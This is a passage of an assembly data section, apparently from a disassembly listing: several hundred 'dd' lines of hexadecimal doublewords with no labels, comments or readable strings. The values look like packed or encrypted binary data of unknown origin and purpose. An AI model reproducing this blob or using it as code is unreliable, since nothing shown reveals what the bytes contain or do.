76BEC4CBh, 0A346A81Eh, 0C3608BC9h, 5A9B7596h, 5BDC9633h dd 0E3A5568Ch, 0D0283F6Dh, 0FBD60h, 0AA0BC48h, 0DD17F194h dd 6DA78DAAh, 40CC093Ah, 433BB610h, 1AE787h, 0E30A4A00h dd 75A4E0C6h, 6357258h, 95C803E9h, 29549278h, 0E0DA080Ch dd 745A77A2h, 9EF0C33h, 9C829FCAh, 45122F62h, 43F0B664h dd 0A5FE1325h, 0F34C7BC7h, 8BEA52DCh, 0E2114EAAh, 674DEAB4h dd 0B5CCFA2Dh, 294AED5Dh, 45E2154Fh, 32F6CA8Bh, 4A5A891Ch dd 97CABBD3h, 92492BC8h, 207AA2E4h, 54B62C13h, 9FB21337h dd 2E5C87C5h, 0B6994715h, 56B8E3D0h, 0B82880B9h, 46F415h dd 8E132027h, 2D4E7B18h, 0FF704EFEh, 32CF99CDh, 0DB469778h dd 0BE61D719h, 4EAFEF9Dh, 5D616C9h, 1A69F410h, 2563D32Bh dd 42FB98FAh, 7AB86DACh, 56C61E5Eh, 7C8005B3h, 188EDB80h dd 0CA7BD3EAh, 5888AFF0h, 0D491B316h, 1DC02298h, 6AB8606Fh dd 3D7AEADEh, 2F09AC0Eh, 1E8AC8F5h, 788A2E70h, 0D83AB0D1h dd 617EE0AAh, 0DD0E417Bh, 0A7C610A6h, 0F535F1E9h, 58000019h dd 0EED4F118h, 806683B2h, 11F71443h, 0A086A3D6h, 161A3762h dd 7DA8E6CCh, 12397A60h, 0A5D00FF5h, 3568A288h, 0BC6A4B18h dd 132540FAh, 7BCDAB04h, 0A3863A1h, 83BDA340h, 0B30B2250h dd 35F2A043h, 6E1C31F6h, 0CD295894h, 69336190h, 5774EACCh dd 0EA42A133h, 87B6D77Ah, 96A6EF57h, 1FD976F8h, 19DB28FEh dd 0B2DD1BF5h, 8EBD3315h, 70AB64F8h, 0CF3F9783h, 85DC0B2Ch dd 0A6E896F0h, 288A6137h, 0A3A201B2h, 64E9A340h, 0EA809903h dd 0CCC18533h, 57CD8F88h, 9BBCC7F5h, 0CC8ACC7Ah, 9E148F88h dd 88CC286Eh, 0A340B68Fh, 0FFA2126Ah, 8EBCE725h, 4CFA27C4h dd 8573C745h, 0DAB457CDh, 6A506DA0h, 32B2AE30h, 8794D51Bh dd 95C3EA2Bh, 2F3869CBh, 34D2CECFh, 191A803Ch, 3D7D0000h dd 0D713F916h, 68A58BA8h, 0FB361C39h, 87C5ABC8h, 0A73B3F5Ch dd 85A2CD0Bh, 1A375E9Fh, 0ADCAF534h, 3D5A8DC7h, 9DE18F70h dd 21132541h, 88C2EAC8h, 0B8102755h, 0C6F7A548h, 81C3232h dd 0D32F5A98h, 6F396796h, 4CCF00Dh, 54F767BFh, 0DB0441A6h dd 0E8178D19h, 4E10BEDFh, 516C90Ch, 0C90C1757h, 0C9219716h dd 10FCB653h, 3638690h, 0EA983BABh, 0E1735465h, 2E4573E9h dd 15C366D6h, 0E499901Eh, 4978B424h, 0F42344E7h, 515CDEE9h dd 5214C2F6h, 5CEB8B25h, 1E784E6h, 917794C7h, 0F0F32457h dd 0FF723561h, 186E4B07h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh dd 9265190h, 99B6E923h, 793DEBCCh, 85132541h, 88C24E2Ch dd 0BFED205Bh, 2D5C99F5h, 2E869DCBh, 0A06D1BBEh, 2E1C31F3h dd 46F415B8h, 13203D00h, 0D47B188Eh, 5EB615B0h, 92A4BEEh dd 203D1B5Bh, 0F533A313h, 70D29CCAh, 3BF419D3h, 0C43A19DBh dd 0EA02FF95h, 0D52D8A10h, 0F3A1C265h, 8501C4B3h, 0FB28C53Bh dd 0F928C84Dh, 0D191568Fh, 0B5DF207Eh, 0D6ED1B7Dh, 0BD6B0E7Eh dd 8A1312B6h, 0C9A346BCh, 593F5C8Fh, 0A6BBEC1Fh, 0A5DBAF66h dd 17BEF1ADh, 0E1210000h, 7BB79DBAh, 0C492F4Ch, 9FDAC0DDh dd 2B694F6Ch, 3DFE300h, 314E79B7h, 0C6E30A4Bh, 5976A1E0h dd 0E9063973h, 0C98D3B1Ch, 0D5132546h, 88C29E7Ch, 0B8102755h dd 0ABF7A548h, 0DB1C3565h, 0AEE8C265h, 4FCA8C3Ah, 5ED41325h dd 0D8B2DFFCh, 433709Dh, 7CAA0CD6h, 8B5B15B2h, 0C813254Fh dd 0B3B55499h, 52EFFF2Dh, 0AD50C219h, 2F6D96D3h, 0AA74A204h dd 1839660Dh, 230549F7h, 13891325h, 2523A3E3h, 59B52B13h dd 6C52EF1Ah, 0A9E2FF32h, 903EE151h, 19D95CD2h, 8FCF7D34h dd 0F16C976h, 0D032659Fh, 89AACB6Eh, 0C9769BDBh, 10AD2316h dd 0A2BFEE2Ah, 235180BCh, 0C1F2255Fh, 6F773452h, 0F9F1ADA5h dd 5C000016h, 0F2D8F51Ch, 846A87B6h, 15FB1847h, 0A48AA7DAh dd 1A1E3B66h, 89B4F2C8h, 1E45866Ch, 0B1DC1B01h, 4174AE94h dd 0C8765724h, 13254786h, 6FD1AF08h, 5604A717h, 1C35650Ch dd 8761047Ah, 0C4FD1A4Dh, 3758FB6Dh, 0B8560A08h, 56204E79h dd 0B1E3CBA5h, 27185A14h, 188E1325h, 277152EAh, 0E5861325h dd 0EE751B90h, 7D6B4523h, 31000000h, 0D3224C7Bh, 9E2BFC03h dd 0FF71C801h, 77ECAE5Ch, 709F16C9h, 42C4F01h, 795BF857h dd 0A9CAD503h dd 0BA94DA88h, 0A41A16C9h, 0C9BA3274h, 42F7BC16h, 8B5EF9A4h dd 833DDA3Ch, 16C977BFh, 9451FB8h, 6D083DDAh, 450CC1F0h dd 0CA4E88DBh, 5A824E2Dh, 259E40CFh, 64000000h, 0C91AD5EEh dd 1282DA16h, 3174C16Fh, 47A1C32h, 0CC924061h, 0D2132003h dd 4B0BB95Ch, 53132003h, 6B9940DDh, 4A7176Fh, 31FD5956h dd 416FE51Ch, 0EE215C36h, 4748A7C0h, 4FF52DE3h, 306A50EDh dd 0F598C703h, 20350747h, 0AF118713h, 3F72AC92h, 89CD7B9Ch dd 15132035h, 84EFC9Fh, 96132035h, 7CB8320h, 0AC709EC9h dd 4F134170h, 7FAAE912h, 811EEF1Dh, 0E104AAF4h, 0A3D61094h dd 3366A086h, 0F5226190h, 0C46875F1h, 0F4DECE0Fh, 0A542A46Bh dd 0E7ED6EDh, 0BBBCBD6Bh, 956F19DBh, 2FF9275Ah, 1D3AB092h dd 9CCAFD37h, 0FADA2104h, 0DF001BDEh, 6C9AC905h, 142C72A2h dd 3CB26EFFh, 990B6A9Fh, 0E20F2C5Fh, 145313C1h, 0E55B6EFFh dd 0F5286248h, 95C803C7h, 0F3148367h, 0FF140145h, 7A178D6Eh dd 0C2D3045h, 0FF14185Eh, 41EFA66Eh, 6EFF147Dh, 0CA90B81h dd 9CB9EC26h, 1B497CB6h, 993CAC04h, 426A6EBh, 0ADCA4064h dd 2C5A8DC7h, 0D2002768h, 0D0D4A1C4h, 60466396h, 4204B226h dd 486B1606h, 0E2ACDA0Dh, 84B2148Ah, 0B664156Dh, 6B1606F0h dd 832688FEh, 0ED1CA0D5h, 0B74A361h, 66D03A1Ah, 0CB4123C0h dd 0E60D4E28h, 0EF1D508Ah, 0FBE18825h, 0C8608EC1h, 7EFFCBFAh dd 6C9ACD08h, 0D3B6EA8h, 0CED69F3Ch, 0F3036590h, 99D3D1A4h dd 0CB377725h, 41B77EFFh, 9DDCC2DFh, 0CBC38331h, 8BC77EFFh dd 0C642E5Ch, 42063496h, 0E7ABD904h, 894D7BAAh, 75ED1B4Eh dd 0C74F4F26h, 58970D68h, 295B8A2Dh, 7AAF1C24h, 4329D06Dh dd 5C36D904h, 0FAC4F21Dh, 9330639Eh, 0A9DC17DBh, 4F76B77Bh dd 0F31E5D21h, 0B6AE1C5h, 0ABCAED93h, 0A3E391B2h, 2B7EFFA4h dd 1F4D80BBh, 5D97F355h, 68A78D2Ah, 19F3203Dh, 2B11AEDDh dd 8893C1ECh, 0A34073AEh, 0FFA2126Ah, 7434451h, 2654CA74h dd 0FAAACB42h, 8D7390BBh, 2EF22053h, 0FD1EC1F4h, 16890F4Fh dd 7C198F7Bh, 75D4C4h, 1A376AA4h, 1044953Bh, 558B2Dh, 0C2510000h dd 132A5883h, 981251BBh, 0DFCE187Fh, 0B91B7DFCh, 0CE013C16h dd 9E30431h, 3960A1CEh, 0B1DF410Bh, 20B6F8A6h, 0C23816C9h dd 0D409C360h, 0DA1C31CCh, 4317523h, 4DBD1320h, 0E8B2E013h dd 0DA072486h, 971F34ABh, 0A23F919Dh, 1CC4h, 0ED2B0500h dd 0C2F725C2h, 132A5883h, 0FAA84BBBh, 1C322AB5h, 0AAD514EEh dd 98B52B0Dh, 0E41846Ah, 9AC8F734h, 0A2FA33D0h, 3CE18F32h dd 821C321Ch, 9A48690Ch, 132014D4h, 0EC764DAh, 912D3678h dd 9909616Eh, 2419C7F6h, 672025F4h, 6A3CA0Bh, 8CAA2BD9h dd 3EB4ED6Bh, 31A1F910h, 48D1E08Eh, 0E359E881h, 44F01F40h dd 9DB6E921h, 276147E4h, 0B7F1D7F4h, 40D19543h, 67DDE793h dd 4673D405h, 0C8C07E1Dh, 133B0Ch, 375E9E00h, 0C9F8341Ah dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h, 0C0A6C3EEh dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 7BBC02B0h, 0E9421325h dd 19A8EE0Bh, 87DF16C9h, 0C1C67417h, 4D1C3229h, 1B5A34D7h dd 0F9C9AAA1h, 0CC2EDE60h, 5F8AC9AFh, 91F72631h, 98C301ABh dd 0C3EFA06Ah, 361CB9F0h, 94DA88FCh, 1A132028h, 961142A4h dd 69698E6Eh, 12C6B571h, 0E9290000h, 83BFA5C2h, 14513754h dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD13257Bh, 176FA684h dd 0ED2A04A7h, 29C690BEh, 28494EFCh, 5FD51C32h, 77A6E2BCh dd 0B5E27F49h, 53709FDBh, 5F02316Dh, 0EB194885h, 8CC8421h dd 5C2B5ACEh, 0A85EEFECh, 7E4A0C3Ch, 13501320h, 0B4168CE4h dd 4A2BA286h, 0D2EF1E5Ah, 0BE132CAEh, 1B571948h, 1D26BEECh dd 4613207Eh, 0C0FCA8CDh, 0DA14EE91h, 7D630AA7h, 0CDE41241h dd 0A0CF0B75h, 61ED9B3Eh, 0ED19DC00h, 0BFFAD477h, 0C4F3308Ch dd 22FCC96h, 9EBBEE28h, 1D4B7EB8h, 0DD17F112h, 82B27CAAh dd 16CC2B3Ch, 76AF4CC2h, 0FFBF6D1Eh, 0FF16CC2Bh, 0D6842789h dd 1C30548Fh, 0D9FA9D13h, 207E6B2Bh, 60FD7313h, 0EC1F5933h dd 7CAFE9CFh, 2EDF374Eh, 207E3E80h, 0E84AC013h, 781A9745h dd 960C19DBh, 77381865h, 732F276Fh, 11BCh, 9BB8DF1Fh, 2D4A79B5h dd 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh, 412744h dd 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 2578C383h, 9472CB13h dd 0C91AA1EEh, 0BFEA2916h, 0A11169A2h, 656950FEh, 41B11C35h dd 9DA8D605h, 254FAFEFh, 57B92F13h, 3B7852F5h, 42A4D712h dd 7C9F725h, 19414FCBh, 1A5h, 4D11BFE0h, 51E9491Ah, 1375A4E1h dd 0AD4A7DB7h, 0AC5A7B7Fh, 16C91AEAh, 0A8E17EF4h, 5F39DC54h dd 5A96F225h, 7B608E2Bh, 0C91AF4CDh, 1A50916h, 173597Bh dd 0A5196F5Dh, 6FDAFA01h, 2701A41Ah, 5786C2EBh, 0C403C7F5h dd 6C9A3799h, 0FF0E4C7Bh, 94853DFh, 0F8F6B866h, 82F816C9h dd 0C9222CE5h, 43CFCB17h, 0DF04431Dh, 7F49779Eh, 0C925EF1Dh dd 9EBF5C8Fh, 59h, 0AC5A7B64h, 16C91AEAh, 194884F4h, 22BF21EBh dd 7C1F93E9h, 3FB8E84Dh, 0EE4ADC50h, 885280B3h, 0CD7BBDEBh dd 16C91AF4h, 7BF89C12h, 0CB8B395Ah, 0D316C91Ah, 0C292C05Dh dd 9DB25685h, 0F3225E38h, 305EFBC5h, 55CAh, 3CEA0B00h dd 16C91A7Ah, 0ABD61484h, 0B451B37Dh, 67A17B86h, 7724A0E5h dd 0EC4ECD4Ch, 4CC0164Fh, 0F4CD7BA8h, 916C91Ah, 0EB2802A5h dd 27C48EBCh, 63A17BF9h, 0A2D0033Eh, 0ACD976D8h, 4970B18Bh dd 86B4511Bh, 0B25685C2h, 3467A17Bh, 0D8034206h, 0E17EE0AAh dd 17C970D6h, 2943CFCBh, 52h, 0ADD816F0h, 1A6FE210h, 15D201A4h dd 916DE418h, 7B44720Fh, 0CB8B395Ah, 0D316C91Ah, 3D06C05Dh dd 4916C91Ah, 4C7B2FD3h, 0CBECA619h, 0DF0CA9F2h, 5786C2BDh dd 7B379DB3h, 0F73C434Ch, 97618FB6h, 0A3948AE6h, 2593F900h dd 0E885E71Bh, 270Ah, 1A6F4A00h, 0CD7B00A4h, 16C91AF4h dd 2802A509h, 0C58FBDECh, 5A7BFA28h, 0E21D4280h, 551F4DAFh dd 86C28AB8h, 379DB357h, 0FFFE59CAh, 0F0310BFFh, 34D19BC9h dd 0A7176F06h, 650C5604h, 47A1C35h, 1A4D8761h, 0AC6DC4FDh dd 7CFDE7Eh, 424AE69Dh, 0F006DE3h, 0FAA84BADh, 13258CB4h dd 0FE96C43Ah, 13258CBEh, 0CAE19435h, 45234506h, 281Ah dd 0D4EEE000h, 2E16C91Ah, 0EAA4C1F4h, 16C91AD9h, 6B0E7ED6h dd 3200C0BDh, 0E6490E1Ch, 1A3C4514h, 0FDDBF85Ah, 0F9h dd 66176F3Dh, 0C91AF6B8h, 4E88F816h, 0C123ED1Bh, 0F10EBC5Fh dd 0F21C322Ch, 7EACDB18h, 0C53517B4h, 0C3FE5A89h, 36986290h dd 4F7AB993h, 0E885B8F3h, 86C09ABBh, 8EF01B59h, 0A7CC0BF1h dd 0BFDC3E69h, 416F9AD9h, 0F21D5C36h, 54C41C55h, 7AB690B1h dd 0B4FAA84Bh, 3A132004h, 0F96D27C4h, 8519DC7Ah, 53926C0Fh dd 0E6250B28h, 1E768DBBh, 0C9EA0BAEh, 0F5D4949Ah, 0A3D3DFB5h dd 16CC42E3h, 167EA792h, 0B20A9042h, 90E59F3Ch, 0DE1C307Fh dd 0CAA4C568h, 67315F8Eh, 575016C4h, 0E85E1320h, 0FE2B654Bh dd 9E6896BDh, 0CA78993Ch, 13205784h, 50F7940Ah, 0C903306Ah dd 1F8CCC47h, 0D1332069h, 0B7F73E6Fh, 8078698Dh, 0E87C4h dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h, 0C9F43218h dd 803AA8ACh, 14FA1742h dd 0A98FACD3h, 3C223F6Ah, 0E5B2CF02h, 7F105604h, 459E1325h dd 5588C267h, 0A7296327h, 0A7E1F04Ah, 0D33376FFh, 925AA859h dd 0EEB2E042h, 905482B1h, 0C0EB2A53h, 69B8305Eh, 0AB0A920Ch dd 6DA0DACAh, 83B6F0CAh, 90BEE927h, 0A38229C6h, 40CFB7FDh dd 50F3h, 176FB900h, 0D15604A7h, 5D1C31F6h, 0BBF5B9E7h dd 16C4E588h, 13203950h, 94EC1F5Ah, 0F4DA811Eh, 254C8DBAh dd 28CB2DF7h, 48E5104Eh, 0B1217990h, 0FA7600Eh, 7B9C19DBh dd 0C92789CDh, 29F1516h, 2D07AA20h, 93D381F1h, 1B16C927h dd 0FFA643A5h, 5786C2D1h, 0E918543Ah, 1A6823BBh, 2F6E16C9h dd 56AEE704h, 0A19543E6h, 0ED1C3565h, 0BDFAD477h, 0C943718Eh dd 414FCB07h, 14B19h, 1B6FDF00h, 0CD7BFFA3h, 16C91AF4h dd 2802A509h, 0F523C0E7h, 5A7B597Bh, 0C91AEAACh, 0E17EF416h dd 6F96C8ACh, 0F0B66419h, 0FE16C91Ah, 0A9832688h, 430D3B6Eh dd 0DAFA78A6h, 0A41A6Fh, 17C9E5EFh, 2943CFCBh, 3Ah, 0A5196FEFh dd 62A17B01h, 0BF6D9A37h, 16C91A82h, 7BEA8E04h, 73564A1h dd 5273A03Dh, 710E3978h, 5685C243h, 0CA379DB2h, 5Ah, 7A3CEA0Bh dd 8016C91Ah, 46BC1443h, 0A17B7BA9h, 5E973467h, 3B795308h dd 1A9EE010h, 0AA2016C9h, 82E40F4Eh, 0F4CD7BDEh, 916C91Ah dd 0A17B01A5h, 648F662h, 8816C91Ah, 1854B012h, 0FE1F4CE9h dd 8BB9E824h, 0C2F624C1h, 0F31E5C85h, 96C501C5h, 0E03C9E68h dd 6E1274A3h, 17C9379Dh, 2943CFCBh, 26h, 0A41A6FEFh, 395A7B00h dd 0C91ACB8Bh, 0C05DD316h, 0C91A3D06h, 2FD34916h, 86C2597Bh dd 379DB357h, 44CAh, 1A6F0A00h, 0A17B00A4h, 44083665h dd 0DEA8D609h, 0F0A2CB7Ch, 858EE781h, 340DBBE8h, 4916C910h dd 5A7B41E5h, 1ACB8B39h, 5DD316C9h, 86C292C0h, 1A266816h dd 32A816C9h, 389D2CD0h, 0D8DA8909h, 5BF81C54h, 64A17B2Dh dd 0ACBA9835h, 0FAFFFFFEh, 4A7176Fh, 35650C56h, 61047A1Ch dd 2D711F40h, 0B113254Fh, 7EB89E3Bh, 91CEA84Bh, 4EDEFF13h dd 96F8E940h, 3669A468h, 3FDC3E08h, 96085F98h, 5C0145F3h dd 178D1325h, 5C0B51E9h, 4F8B1325h, 5C6D31DFh, 0FB711325h dd 6AA76B99h, 61EFCCECh, 4CAE97D0h, 0B2C33A1Eh, 91E485ECh dd 23F2761Ah, 49845E45h, 811EE816h, 1860h, 0A17B2600h dd 0E19B3863h, 16C91AE1h, 79BAE721h, 0F5D3F052h, 0C7h dd 0A7176F35h, 2C3D5604h, 441E1C32h, 0DFA9D70Ah, 47EA6042h dd 60032E6Dh, 8D003E31h, 18B58907h, 0D3154471h, 3A2F2A11h dd 0B4A30CDh, 1C7EA5E6h, 0F7FD7EEh, 22613D6Ch, 0E3A5B9E8h dd 0FF6B1946h, 7719DCBAh, 45845E01h, 0F6D0FD1Ah, 4F5A88BBh dd 0CC91DDA1h, 96BE116h, 17456CADh, 8BCAB04Dh, 0C31B3260h dd 6E8FB053h, 0CC91FEC0h, 16CA716h, 0C0F7DABFh, 9B55F268h dd 1C3026EAh, 411BBE34h, 8AB7D407h, 0AA4772B0h, 26578AC4h dd 698E8CCDh, 35BE7A72h, 9800000Bh, 2E143158h, 0C0A6C3F2h dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132573BAh, 0C20DEB44h dd 63275588h, 0D8C8F629h, 6EA8FC79h, 0ABD90041h, 83627FE1h dd 40CFD3DDh, 52D3h, 176F9900h, 9E304A7h, 566F9DCCh, 4F8741B6h dd 0EE8BEDB2h, 32660734h, 0ABD94F1Ch, 0D77AADE7h, 0E495BCFDh dd 3472E4A3h, 10B754EAh, 8FBDF02Ah, 0DB02078h, 0DB01325Fh dd 5BFE7419h, 376A842Ch, 0C9DCC589h, 0A253C916h, 0B8147874h dd 541E4C7Bh, 0C2E210B7h, 85B45786h, 0A1607E09h, 0B75EFBBFh dd 0C9E2B0FDh, 0D0FB3A16h, 0B2227AB3h, 9D62610Fh, 835D1C35h dd 0E51EC749h, 71910BEDh, 7A17E10Fh, 0A57F2298h, 0EE1C3968h dd 4FCB07C9h, 13F1941h, 6FDF0000h, 7BFFA31Bh, 0C91AF4CDh dd 2A50916h, 1A7333E1h, 57B16C9h, 5A7B3A68h, 1ACB8B39h dd 5DD316C9h, 17392C0h, 0A5196F5Dh, 0BDEC2802h, 0DAFAF220h dd 3467A17Bh, 46FEED06h, 0C1C6E4Dh, 7FD40DAAh, 0E5EF6509h dd 0CFCB17C9h, 372943h, 6FEF0000h, 0A5AA5619h, 4D56FEA3h dd 0EB9C7BFEh, 55B16AC3h, 0E68AEC17h, 1AF4CD7Bh, 9C1216C9h dd 65A17BF8h, 9440836h, 0AAD774D6h, 5685C288h, 0CA379DB2h dd 3Eh, 0A5196F0Ah, 0F4CD7B01h, 0C716C91Ah, 0E582B1EDh dd 19F396FAh, 0E10FACDFh, 85C2597Bh, 5984B356h, 0AC6BACB2h dd 78A6D10Fh, 0FBA94CAEh, 16C97CBBh, 230CD43h, 215E389Dh dd 2B8DBCF8h, 17C9608Eh, 2943CFCBh, 43h, 0ADD816F0h, 0EA18B57Fh dd 0A41A6Fh, 1AF4CD7Bh, 9C1216C9h, 67A17BF8h, 496A9734h dd 0D503326Fh, 0F4BA680Bh, 0FA16C91Ah, 7BB9E784h, 0BD15684Ch dd 93EF9229h, 0A88E2B52h, 9D993D6Ch, 29CA37h, 6F0A0000h dd 7B00A41Ah, 0C91AF4CDh, 0ACEDC716h, 0F08D5785h, 24FEA105h dd 0F11FBCE3h, 86C2597Bh, 389DB357h, 0C4F2215Eh, 0CA2F5DFAh dd 0FFFFFEB8h, 0AC5A7B0Ah, 16C91AEAh, 2C84B3F0h, 88E019B6h dd 9BC77518h, 0EB1C3565h, 82B1D275h, 708DDB9h, 2208A522h dd 4F7EBBE8h, 0D8F55721h, 33D6489Fh, 343F112h, 8B13259Ch dd 6DEB6415h, 6033B03Ah, 674509C3h, 0D9491325h, 0DC0A6C9Fh dd 25670444h, 97DE7F13h, 23AE4C14h, 106445h, 0EE2A0000h dd 16C91AD4h, 0A4C1F42Eh, 0CEC6h, 176F0600h, 1AF6B866h dd 88F816C9h, 5DB91B4Eh, 0EB8EF023h, 3232383Dh, 97D6461Ch dd 8D670A6Ch, 27F11F52h, 623C5D8Ah, 0CAF823h, 133E7D63h dd 0A6D110F6h, 57936D78h, 9330FA28h, 0EF92025Ah, 0DC7CA541h dd 0FA39A919h, 0FC6F5180h, 53B561E7h, 56F95B25h, 0F5123D7Ch dd 0CC9999C8h, 0E20DBAE8h, 0F5205F45h, 0ED9BBCC7h, 16CCDCA9h dd 8ED07E35h, 1016CCDCh, 629B389Ah, 49F79A0Ah, 1C30A034h dd 3261047Ah, 4831B32h, 0DC09A694h, 7895C802h, 0F4255892h dd 698E51A1h, 0DFAB6AEh, 70000008h, 6EC0930h, 987E9BCAh dd 290F2C5Bh, 0B89EBBEEh, 2E324F7Ah, 95C0FEB4h, 2A519278h dd 0BDE8270Dh, 4D80BAA0h, 0D4826330h, 13257692h, 7BE5C31Ch dd 29D8C44Ch, 5FBB7FDDh, 0FBC5F322h, 0CA3E785Eh, 0C9A35A1Ch dd 0DD320B16h, 8744A91h, 0A3DE3AB0h, 16784270h, 0B7EA24E8h dd 3B3A9989h, 0DFFC2F69h, 0CF655000h, 296A4440h, 3D446502h dd 0A000000h, 6CAD176Fh, 0CFE1745h, 0ACA53DAFh, 0CAF1173h dd 32741D5Eh, 39744E1Ch, 9C05506h, 0FB481137h, 0D8067C5Eh dd 20950240h, 0A1D47513h, 2658460Ah, 37744E45h, 2E4A6B08h dd 10000000h, 4A7176Fh, 31F94156h, 2957CD1Ch, 55F82B65h dd 74113C7Bh, 7AADE7CDh, 6DDD354Ch, 131B1CCAh, 0FED819DBh dd 9C6694BFh, 8AA71DFFh, 123D845Ch, 1A0343F1h, 158B16C9h dd 77E73F78h, 1CC126D4h, 970D1C32h, 6125D3F4h, 14132014h dd 3B922623h, 0B81D955h, 0B81FB56Eh, 0AB535283h, 9240E353h dd 0D9AE5F0Dh, 566D9B11h, 3DEB8EFEh, 0DC449B36h, 0B9F6D0F1h dd 62925C8Ah, 0D356A91Ch, 0AD8F2CA2h, 80BA9437h, 83E51853h dd 13468066h, 0D7EE3DE2h, 0D6928AA9h, 6C8h, 0A7C4EB2Bh dd 395685C1h, 0CAE71653h, 5976A9E4h, 0ED0A3573h, 83C1F9E9h dd 14553B58h, 0ABEAD0EDh, 437D6380h, 4526F310h, 2577D797h dd 0A07ED713h, 3DCD4C7Bh, 0C0E11C20h, 8F033D23h, 0C95C9DE1h dd 70B12116h, 0EF511B49h, 7A545F8Dh, 19E3113Ch, 2A59967Ch dd 0BD7CD40Dh, 5D464387h dd 0F699FBA6h, 3585DE48h, 47EA601Ch, 0A3E72A18h, 0DA779995h dd 0F2215E22h, 8B4E02C1h, 0C17D7569h, 648h, 27446BABh dd 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h dd 94D5BBD8h, 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 25745717h dd 20FE5713h, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh, 26633DE0h dd 3092C1FDh, 22B86693h, 0E91C3564h, 7A4D30Fh, 0FB4D6025h dd 0CB19D1C0h, 3A773B69h, 90033DBCh, 7CDE233Eh, 8AAC9A4Bh dd 4501F969h, 5D8h, 0B7D4FB3Bh, 496695D1h, 0DAF72663h dd 6986B9F4h, 0FD1A4583h, 93D1E9F9h, 24654B68h, 0BBFAE0FDh dd 538D7390h, 55360320h, 2574E7A7h, 0B08EE713h, 4A7176Fh dd 0EBFEE2Ah, 0DE48F8E1h, 0B4E17EC3h, 35399006h, 0EF2E9E1Ch dd 6ACC96C4h, 80B3EDC7h, 2A672BE3h, 993FCAFBh, 9890698Bh dd 577DCh, 739ADA00h, 5347056h, 96C502E8h, 25589379h, 0B9E42208h dd 704A989Ch, 4EA0732h, 997F9CC3h, 2C122F5Ah, 0D5A2BFF2h dd 740046F4h, 358E1325h, 5588C257h, 0F6296327h, 6C8B2453h dd 906CC01Ah, 122D3BF3h, 33D0F738h, 0F32D77FEh, 83BDA3C0h dd 0B98A2250h, 0AA16C9B0h, 246A1839h, 0AA16C9B0h, 6F9AD834h dd 0CCD89DD2h, 9425F92h, 900647B1h, 7BF416Eh, 85B3151Ch dd 8B659BBh, 1C35B88Eh, 9D771A90h, 2D133063h, 7B92C0F3h dd 82C47223h, 0C132593h, 0E3913496h, 19D9ECBCh, 532DD046h dd 0F9959719h, 0D0AAACE8h, 316B516Eh, 3799C804h, 2A9AF209h dd 1958D987h, 0A9831C32h, 430D3B6Eh, 0D3FFC4A6h, 0D26B7A83h dd 96C4F32Fh, 0D30E6ACCh, 700D3EA0h, 0DF698E7Eh, 49A2BE7h dd 0BDFD0000h, 57937996h, 0E8250B28h, 7BB69CB9h, 7452B48h dd 27BBBFDCh, 5224D8Bh, 9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h dd 1D610FF0h, 0A1132575h, 88C26A48h, 29632755h, 48A0D9F6h dd 48769DDEh, 0CB791C7Eh, 1C322342h, 3F66A781h, 0C8AA4711h dd 0E08EAF52h, 13200C9Eh, 550DAA20h, 3B7B294Ah, 0C313200Ch dd 87E91453h, 0C7036E4h, 87E1320h, 0C91B16Bh, 45E61320h dd 0C5D57B30h, 4BCB4526h, 91000000h, 0E0134C7Bh, 0AFDD0847h dd 518534E5h, 59B1EA87h, 8B9846E9h, 0FB1C32B2h, 83BF5785h dd 0FF132090h, 0A06492C5h, 36073564h, 8DC8DC99h, 0F091F85Ah dd 5D7A2685h, 0D764526h, 3D000001h, 0C8F62963h, 2D2A9EAFh dd 55B702C1h, 88C28AB8h, 421C2755h, 0A5E99703h, 2916C91Ah dd 0CEB451B3h, 2C376590h, 4AE71652h, 0C9F72A64h, 84C39DBEh dd 1A652959h, 0F36916C9h, 1C3BCD42h, 8A5EBF7h, 98B5E822h dd 0C9585BDEh, 0A8659416h, 0CD057F85h, 0DA14FA97h, 5BD504A7h dd 0BEA6B27Eh, 0E2377725h, 41B716C9h, 0B59B42DFh, 31A487Bh dd 0BE983BABh, 0E275580h, 35083CA1h, 0D875D790h, 6FB08AABh dd 0B3501A48h, 32805CF9h, 0F832A21Ch, 2B7E97C5h, 8986222Ah dd 0FFA20466h, 4F0FBDDEh, 4F1320DDh, 0DDE5A9D9h, 73E91320h dd 9EF62FD6h, 9ECCF334h, 21CF72D4h, 19C65636h, 9ED10C7Ch dd 0A144A670h, 415E89C7h, 0C1F21D5Bh, 6F75232Ah, 9E9A59Dh dd 6C000003h, 2E8052Ch, 947A97C6h, 250B2857h, 0B49AB7EAh dd 2A2E4B76h, 99C402B8h, 2E55967Ch, 0C1EC2B11h, 5184BEA4h dd 0D8866734h, 13256B96h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch dd 4A7176Fh, 32294D56h, 1543B91Ch, 7B3BE90Ah, 8313200Bh dd 8CB6700Dh, 0F613200Bh, 0D49A48BCh, 0DA13200Bh, 10D40264h dd 0B175A3D6h, 501A4873h, 1A84F140h, 0FA6312B3h, 1BB8DF20h dd 26C6943Ch, 0CF8C45h, 0C2520000h, 1C275588h, 0BB8F6CEDh dd 5DFA7718h, 0E00E3977h, 0C9D4C548h, 0DC0F4916h, 729FD9BFh dd 0CD60437h, 50717CAAh, 0C9DFDCA2h, 0BB6CE216h, 9075A9D6h dd 2059F62Ah, 7B558C8h, 1C32F6AEh, 305D7AF0h, 0FC1D610Fh dd 2BA11320h, 8DFD558Eh, 0E58FBBEAh, 0B00CE83Eh, 3E38E613h dd 4019C609h, 0F4D27CAh, 266741E4h, 0D5BB62FFh, 523B6C97h dd 216F7568h, 2126D29h, 35750000h, 0CF0BF10Eh, 609D83A0h dd 0F32E1431h, 7FBDA3C0h, 0AF333754h, 